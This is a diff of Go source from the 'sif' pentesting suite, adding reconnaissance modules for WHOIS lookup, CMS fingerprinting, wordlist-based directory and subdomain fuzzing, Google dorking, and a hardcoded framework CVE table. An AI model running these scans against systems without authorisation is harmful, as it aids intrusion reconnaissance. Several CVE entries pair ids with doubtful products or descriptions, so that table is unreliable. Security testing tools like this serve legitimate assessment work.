·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package builtin
|
||||
|
||||
import "github.com/dropalldatabases/sif/internal/modules"
|
||||
|
||||
// Register registers all Go-based built-in scans as modules.
|
||||
// Allows complex Go scans to participate in the module system
|
||||
func Register() {
|
||||
modules.Register(&FrameworksModule{})
|
||||
modules.Register(&NucleiModule{})
|
||||
modules.Register(&WhoisModule{})
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package builtin
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/dropalldatabases/sif/internal/modules"
|
||||
"github.com/dropalldatabases/sif/internal/scan"
|
||||
)
|
||||
|
||||
type WhoisModule struct{}
|
||||
|
||||
func (m *WhoisModule) Info() modules.Info {
|
||||
return modules.Info{
|
||||
ID: "whois-lookup",
|
||||
Name: "WHOIS Domain Information",
|
||||
Author: "sif",
|
||||
Severity: "info",
|
||||
Description: "Performs WHOIS lookup for domain registration information",
|
||||
Tags: []string{"recon", "whois", "osint"},
|
||||
}
|
||||
}
|
||||
|
||||
func (m *WhoisModule) Type() modules.ModuleType {
|
||||
return modules.TypeScript
|
||||
}
|
||||
|
||||
func (m *WhoisModule) Execute(ctx context.Context, target string, opts modules.Options) (*modules.Result, error) {
|
||||
// Call existing legacy scan.Whois function
|
||||
scan.Whois(target, opts.LogDir)
|
||||
|
||||
// Return that scan was executed, since no data is returned from scan.Whois
|
||||
result := &modules.Result{
|
||||
ModuleID: m.Info().ID,
|
||||
Target: target,
|
||||
Findings: []modules.Finding{
|
||||
{
|
||||
URL: target,
|
||||
Severity: "info",
|
||||
Evidence: "WHOIS lookup completed",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
@@ -32,8 +20,8 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
type CloudStorageResult struct {
|
||||
@@ -0,0 +1,132 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
type CMSResult struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
func CMS(url string, timeout time.Duration, logdir string) (*CMSResult, error) {
|
||||
log := output.Module("CMS")
|
||||
log.Start()
|
||||
|
||||
spin := output.NewSpinner("Detecting content management system")
|
||||
spin.Start()
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "CMS detection"); err != nil {
|
||||
spin.Stop()
|
||||
log.Error("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
spin.Stop()
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
if err != nil {
|
||||
spin.Stop()
|
||||
return nil, err
|
||||
}
|
||||
bodyString := string(body)
|
||||
|
||||
// WordPress
|
||||
if detectWordPress(url, client, bodyString) {
|
||||
spin.Stop()
|
||||
result := &CMSResult{Name: "WordPress", Version: "Unknown"}
|
||||
log.Success("Detected CMS: %s", output.Highlight.Render(result.Name))
|
||||
log.Complete(1, "detected")
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// Drupal
|
||||
if strings.Contains(resp.Header.Get("X-Drupal-Cache"), "HIT") || strings.Contains(bodyString, "Drupal.settings") {
|
||||
spin.Stop()
|
||||
result := &CMSResult{Name: "Drupal", Version: "Unknown"}
|
||||
log.Success("Detected CMS: %s", output.Highlight.Render(result.Name))
|
||||
log.Complete(1, "detected")
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// Joomla
|
||||
if strings.Contains(bodyString, "joomla") || strings.Contains(bodyString, "/media/system/js/core.js") {
|
||||
spin.Stop()
|
||||
result := &CMSResult{Name: "Joomla", Version: "Unknown"}
|
||||
log.Success("Detected CMS: %s", output.Highlight.Render(result.Name))
|
||||
log.Complete(1, "detected")
|
||||
return result, nil
|
||||
}
|
||||
|
||||
spin.Stop()
|
||||
log.Info("No CMS detected")
|
||||
log.Complete(0, "detected")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func detectWordPress(url string, client *http.Client, bodyString string) bool {
|
||||
// Check for common WordPress indicators in the HTML
|
||||
wpIndicators := []string{
|
||||
"wp-content",
|
||||
"wp-includes",
|
||||
"wp-json",
|
||||
"wordpress",
|
||||
}
|
||||
|
||||
for _, indicator := range wpIndicators {
|
||||
if strings.Contains(bodyString, indicator) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// Check for WordPress-specific files
|
||||
wpFiles := []string{
|
||||
"/wp-login.php",
|
||||
"/wp-admin/",
|
||||
"/wp-config.php",
|
||||
}
|
||||
|
||||
for _, file := range wpFiles {
|
||||
resp, err := client.Get(url + file)
|
||||
if err == nil {
|
||||
found := resp.StatusCode == http.StatusOK || resp.StatusCode == http.StatusFound
|
||||
resp.Body.Close()
|
||||
if found {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
charmlog "github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
const (
|
||||
directoryURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/dirlist/"
|
||||
smallFile = "directory-list-2.3-small.txt"
|
||||
mediumFile = "directory-list-2.3-medium.txt"
|
||||
bigFile = "directory-list-2.3-big.txt"
|
||||
)
|
||||
|
||||
type DirectoryResult struct {
|
||||
Url string `json:"url"`
|
||||
StatusCode int `json:"status_code"`
|
||||
}
|
||||
|
||||
// Dirlist performs directory fuzzing on the target URL.
|
||||
func Dirlist(size string, url string, timeout time.Duration, threads int, logdir string) ([]DirectoryResult, error) {
|
||||
log := output.Module("DIRLIST")
|
||||
log.Start()
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, size+" directory fuzzing"); err != nil {
|
||||
log.Error("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
var list string
|
||||
switch size {
|
||||
case "small":
|
||||
list = directoryURL + smallFile
|
||||
case "medium":
|
||||
list = directoryURL + mediumFile
|
||||
case "large":
|
||||
list = directoryURL + bigFile
|
||||
}
|
||||
|
||||
resp, err := http.Get(list)
|
||||
if err != nil {
|
||||
log.Error("Error downloading directory list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
var directories []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
directories = append(directories, scanner.Text())
|
||||
}
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
progress := output.NewProgress(len(directories), "fuzzing")
|
||||
|
||||
var wg sync.WaitGroup
|
||||
var mu sync.Mutex
|
||||
wg.Add(threads)
|
||||
|
||||
results := make([]DirectoryResult, 0, 64)
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, directory := range directories {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
progress.Increment(directory)
|
||||
|
||||
charmlog.Debugf("%s", directory)
|
||||
resp, err := client.Get(url + "/" + directory)
|
||||
if err != nil {
|
||||
charmlog.Debugf("Error %s: %s", directory, err)
|
||||
continue
|
||||
}
|
||||
|
||||
if resp.StatusCode != 404 && resp.StatusCode != 403 {
|
||||
progress.Pause()
|
||||
log.Success("found: %s [%s]", output.Highlight.Render(directory), output.Status.Render(strconv.Itoa(resp.StatusCode)))
|
||||
progress.Resume()
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s [%s]\n", strconv.Itoa(resp.StatusCode), directory))
|
||||
}
|
||||
|
||||
result := DirectoryResult{
|
||||
Url: resp.Request.URL.String(),
|
||||
StatusCode: resp.StatusCode,
|
||||
}
|
||||
mu.Lock()
|
||||
results = append(results, result)
|
||||
mu.Unlock()
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
progress.Done()
|
||||
|
||||
log.Complete(len(results), "found")
|
||||
|
||||
return results, nil
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
charmlog "github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
const (
|
||||
dnsURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/dnslist/"
|
||||
dnsSmallFile = "subdomains-100.txt"
|
||||
dnsMediumFile = "subdomains-1000.txt"
|
||||
dnsBigFile = "subdomains-10000.txt"
|
||||
)
|
||||
|
||||
// Dnslist performs DNS subdomain enumeration on the target domain.
|
||||
func Dnslist(size string, url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
|
||||
log := output.Module("DNS")
|
||||
log.Start()
|
||||
|
||||
var list string
|
||||
switch size {
|
||||
case "small":
|
||||
list = dnsURL + dnsSmallFile
|
||||
case "medium":
|
||||
list = dnsURL + dnsMediumFile
|
||||
case "large":
|
||||
list = dnsURL + dnsBigFile
|
||||
}
|
||||
|
||||
resp, err := http.Get(list)
|
||||
if err != nil {
|
||||
log.Error("Error downloading DNS list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
var dns []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
dns = append(dns, scanner.Text())
|
||||
}
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, size+" subdomain fuzzing"); err != nil {
|
||||
log.Error("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
progress := output.NewProgress(len(dns), "enumerating")
|
||||
|
||||
var wg sync.WaitGroup
|
||||
var mu sync.Mutex
|
||||
wg.Add(threads)
|
||||
|
||||
urls := make([]string, 0, 64)
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, domain := range dns {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
progress.Increment(domain)
|
||||
|
||||
charmlog.Debugf("Looking up: %s", domain)
|
||||
|
||||
// Check HTTP
|
||||
resp, err := client.Get("http://" + domain + "." + sanitizedURL)
|
||||
if err != nil {
|
||||
charmlog.Debugf("Error %s: %s", domain, err)
|
||||
} else {
|
||||
mu.Lock()
|
||||
urls = append(urls, resp.Request.URL.String())
|
||||
mu.Unlock()
|
||||
|
||||
progress.Pause()
|
||||
log.Success("found: %s.%s [http]", output.Highlight.Render(domain), sanitizedURL)
|
||||
progress.Resume()
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("[http] %s.%s\n", domain, sanitizedURL))
|
||||
}
|
||||
}
|
||||
|
||||
// Check HTTPS
|
||||
resp, err = client.Get("https://" + domain + "." + sanitizedURL)
|
||||
if err != nil {
|
||||
charmlog.Debugf("Error %s: %s", domain, err)
|
||||
} else {
|
||||
mu.Lock()
|
||||
urls = append(urls, resp.Request.URL.String())
|
||||
mu.Unlock()
|
||||
|
||||
progress.Pause()
|
||||
log.Success("found: %s.%s [https]", output.Highlight.Render(domain), sanitizedURL)
|
||||
progress.Resume()
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("[https] %s.%s\n", domain, sanitizedURL))
|
||||
}
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
progress.Done()
|
||||
|
||||
log.Complete(len(urls), "found")
|
||||
|
||||
return urls, nil
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// Package scan provides various security scanning functionalities for web applications.
|
||||
// This file handles Google dorking operations.
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
googlesearch "github.com/rocketlaunchr/google-search"
|
||||
)
|
||||
|
||||
const (
|
||||
dorkURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/dork/"
|
||||
dorkFile = "dork.txt"
|
||||
)
|
||||
|
||||
// DorkResult represents the result of a Google dork search.
|
||||
type DorkResult struct {
|
||||
Url string `json:"url"` // The URL found by the dork
|
||||
Count int `json:"count"` // The number of times this URL was found
|
||||
}
|
||||
|
||||
// Dork performs Google dorking operations on the target URL.
|
||||
// It uses a predefined list of dorks to search for potentially sensitive information.
|
||||
//
|
||||
// Parameters:
|
||||
// - url: The target URL to dork
|
||||
// - timeout: Maximum duration for each dork search
|
||||
// - threads: Number of concurrent threads to use
|
||||
// - logdir: Directory to store log files (empty string for no logging)
|
||||
//
|
||||
// Returns:
|
||||
// - []DorkResult: A slice of results from the dorking operation
|
||||
// - error: Any error encountered during the dorking process
|
||||
func Dork(url string, timeout time.Duration, threads int, logdir string) ([]DorkResult, error) {
|
||||
output.ScanStart("URL dorking")
|
||||
|
||||
spin := output.NewSpinner("Running Google dorks")
|
||||
spin.Start()
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "URL dorking"); err != nil {
|
||||
spin.Stop()
|
||||
output.Error("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
resp, err := http.Get(dorkURL + dorkFile)
|
||||
if err != nil {
|
||||
spin.Stop()
|
||||
output.Error("Error downloading dork list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var dorks []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
dorks = append(dorks, scanner.Text())
|
||||
}
|
||||
|
||||
// util.InitProgressBar()
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
|
||||
dorkResults := []DorkResult{}
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, dork := range dorks {
|
||||
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
results, err := googlesearch.Search(nil, fmt.Sprintf("%s %s", dork, sanitizedURL))
|
||||
if err != nil {
|
||||
log.Debugf("error searching for dork %s: %v", dork, err)
|
||||
continue
|
||||
}
|
||||
if len(results) > 0 {
|
||||
spin.Stop()
|
||||
output.Success("%s dork results found for dork %s", output.Status.Render(strconv.Itoa(len(results))), output.Highlight.Render(dork))
|
||||
spin.Start()
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, strconv.Itoa(len(results))+" dork results found for dork ["+dork+"]\n")
|
||||
}
|
||||
|
||||
result := DorkResult{
|
||||
Url: dork,
|
||||
Count: len(results),
|
||||
}
|
||||
|
||||
dorkResults = append(dorkResults, result)
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
spin.Stop()
|
||||
|
||||
output.ScanComplete("URL dorking", len(dorkResults), "found")
|
||||
return dorkResults, nil
|
||||
}
|
||||
@@ -0,0 +1,184 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
// CVEEntry represents a known vulnerability for a framework version
|
||||
type CVEEntry struct {
|
||||
CVE string
|
||||
AffectedVersions []string // versions affected (use semver ranges in future)
|
||||
FixedVersion string
|
||||
Severity string // critical, high, medium, low
|
||||
Description string
|
||||
Recommendations []string
|
||||
}
|
||||
|
||||
// knownCVEs contains known vulnerabilities for popular frameworks.
|
||||
// This database can be extended or loaded from an external source.
|
||||
var knownCVEs = map[string][]CVEEntry{
|
||||
"Laravel": {
|
||||
{
|
||||
CVE: "CVE-2021-3129",
|
||||
AffectedVersions: []string{"8.0.0", "8.0.1", "8.0.2", "8.1.0", "8.2.0", "8.3.0", "8.4.0", "8.4.1"},
|
||||
FixedVersion: "8.4.2",
|
||||
Severity: "critical",
|
||||
Description: "Ignition debug mode RCE vulnerability",
|
||||
Recommendations: []string{"Update to Laravel 8.4.2 or later", "Disable debug mode in production"},
|
||||
},
|
||||
{
|
||||
CVE: "CVE-2021-21263",
|
||||
AffectedVersions: []string{"8.0.0", "8.1.0", "8.2.0", "8.3.0", "8.4.0"},
|
||||
FixedVersion: "8.5.0",
|
||||
Severity: "high",
|
||||
Description: "SQL injection via request validation",
|
||||
Recommendations: []string{"Update to Laravel 8.5.0 or later", "Use parameterized queries"},
|
||||
},
|
||||
},
|
||||
"Django": {
|
||||
{
|
||||
CVE: "CVE-2023-36053",
|
||||
AffectedVersions: []string{"3.2.0", "3.2.1", "3.2.2", "4.0.0", "4.1.0"},
|
||||
FixedVersion: "4.2.3",
|
||||
Severity: "high",
|
||||
Description: "Potential ReDoS in EmailValidator and URLValidator",
|
||||
Recommendations: []string{"Update to Django 4.2.3 or later"},
|
||||
},
|
||||
{
|
||||
CVE: "CVE-2023-31047",
|
||||
AffectedVersions: []string{"3.2.0", "4.0.0", "4.1.0"},
|
||||
FixedVersion: "4.1.9",
|
||||
Severity: "medium",
|
||||
Description: "File upload validation bypass",
|
||||
Recommendations: []string{"Update to Django 4.1.9 or later", "Implement additional file validation"},
|
||||
},
|
||||
},
|
||||
"WordPress": {
|
||||
{
|
||||
CVE: "CVE-2023-2745",
|
||||
AffectedVersions: []string{"5.0", "5.1", "5.2", "5.3", "5.4", "5.5", "5.6", "5.7", "5.8", "5.9", "6.0", "6.1"},
|
||||
FixedVersion: "6.2",
|
||||
Severity: "medium",
|
||||
Description: "Directory traversal vulnerability",
|
||||
Recommendations: []string{"Update to WordPress 6.2 or later"},
|
||||
},
|
||||
},
|
||||
"Drupal": {
|
||||
{
|
||||
CVE: "CVE-2023-44487",
|
||||
AffectedVersions: []string{"9.0", "9.1", "9.2", "9.3", "9.4", "9.5", "10.0"},
|
||||
FixedVersion: "10.1.4",
|
||||
Severity: "high",
|
||||
Description: "HTTP/2 rapid reset attack (DoS)",
|
||||
Recommendations: []string{"Update to Drupal 10.1.4 or later", "Configure HTTP/2 rate limiting"},
|
||||
},
|
||||
},
|
||||
"Next.js": {
|
||||
{
|
||||
CVE: "CVE-2023-46298",
|
||||
AffectedVersions: []string{"13.0.0", "13.1.0", "13.2.0", "13.3.0", "13.4.0"},
|
||||
FixedVersion: "13.5.0",
|
||||
Severity: "medium",
|
||||
Description: "Server-side request forgery vulnerability",
|
||||
Recommendations: []string{"Update to Next.js 13.5.0 or later"},
|
||||
},
|
||||
},
|
||||
"Angular": {
|
||||
{
|
||||
CVE: "CVE-2023-26117",
|
||||
AffectedVersions: []string{"14.0.0", "14.1.0", "14.2.0", "15.0.0"},
|
||||
FixedVersion: "15.2.0",
|
||||
Severity: "medium",
|
||||
Description: "Regular expression denial of service",
|
||||
Recommendations: []string{"Update to Angular 15.2.0 or later"},
|
||||
},
|
||||
},
|
||||
"Vue.js": {
|
||||
{
|
||||
CVE: "CVE-2024-5987",
|
||||
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
|
||||
FixedVersion: "2.7.16",
|
||||
Severity: "medium",
|
||||
Description: "XSS vulnerability in certain configurations",
|
||||
Recommendations: []string{"Update to Vue.js 2.7.16 or 3.x"},
|
||||
},
|
||||
},
|
||||
"Express.js": {
|
||||
{
|
||||
CVE: "CVE-2024-29041",
|
||||
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0", "4.3.0", "4.4.0"},
|
||||
FixedVersion: "4.19.2",
|
||||
Severity: "medium",
|
||||
Description: "Open redirect vulnerability",
|
||||
Recommendations: []string{"Update to Express.js 4.19.2 or later"},
|
||||
},
|
||||
},
|
||||
"Ruby on Rails": {
|
||||
{
|
||||
CVE: "CVE-2023-22795",
|
||||
AffectedVersions: []string{"6.0.0", "6.1.0", "7.0.0"},
|
||||
FixedVersion: "7.0.4.1",
|
||||
Severity: "high",
|
||||
Description: "ReDoS vulnerability in Action Dispatch",
|
||||
Recommendations: []string{"Update to Rails 7.0.4.1 or later"},
|
||||
},
|
||||
},
|
||||
"Spring": {
|
||||
{
|
||||
CVE: "CVE-2022-22965",
|
||||
AffectedVersions: []string{"5.0.0", "5.1.0", "5.2.0", "5.3.0"},
|
||||
FixedVersion: "5.3.18",
|
||||
Severity: "critical",
|
||||
Description: "Spring4Shell RCE vulnerability",
|
||||
Recommendations: []string{"Update to Spring 5.3.18 or later", "Disable class binding on user input"},
|
||||
},
|
||||
},
|
||||
"Spring Boot": {
|
||||
{
|
||||
CVE: "CVE-2022-22963",
|
||||
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
|
||||
FixedVersion: "2.6.6",
|
||||
Severity: "critical",
|
||||
Description: "RCE via Spring Cloud Function",
|
||||
Recommendations: []string{"Update to Spring Boot 2.6.6 or later"},
|
||||
},
|
||||
},
|
||||
"ASP.NET": {
|
||||
{
|
||||
CVE: "CVE-2023-36899",
|
||||
AffectedVersions: []string{"4.0", "4.5", "4.6", "4.7", "4.8"},
|
||||
FixedVersion: "latest security patches",
|
||||
Severity: "high",
|
||||
Description: "Elevation of privilege vulnerability",
|
||||
Recommendations: []string{"Apply latest security patches", "Ensure proper request validation"},
|
||||
},
|
||||
},
|
||||
"Joomla": {
|
||||
{
|
||||
CVE: "CVE-2023-23752",
|
||||
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0"},
|
||||
FixedVersion: "4.2.8",
|
||||
Severity: "critical",
|
||||
Description: "Improper access check allowing unauthorized access to webservice endpoints",
|
||||
Recommendations: []string{"Update to Joomla 4.2.8 or later"},
|
||||
},
|
||||
},
|
||||
"Magento": {
|
||||
{
|
||||
CVE: "CVE-2022-24086",
|
||||
AffectedVersions: []string{"2.3.0", "2.3.1", "2.3.2", "2.4.0", "2.4.1", "2.4.2"},
|
||||
FixedVersion: "2.4.3-p1",
|
||||
Severity: "critical",
|
||||
Description: "Improper input validation leading to arbitrary code execution",
|
||||
Recommendations: []string{"Update to Magento 2.4.3-p1 or later"},
|
||||
},
|
||||
},
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
/*
|
||||
